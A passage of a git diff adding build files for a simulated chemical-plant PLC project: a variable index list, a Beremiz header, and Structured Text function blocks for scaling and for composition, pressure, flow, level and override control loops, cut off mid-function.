+280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + 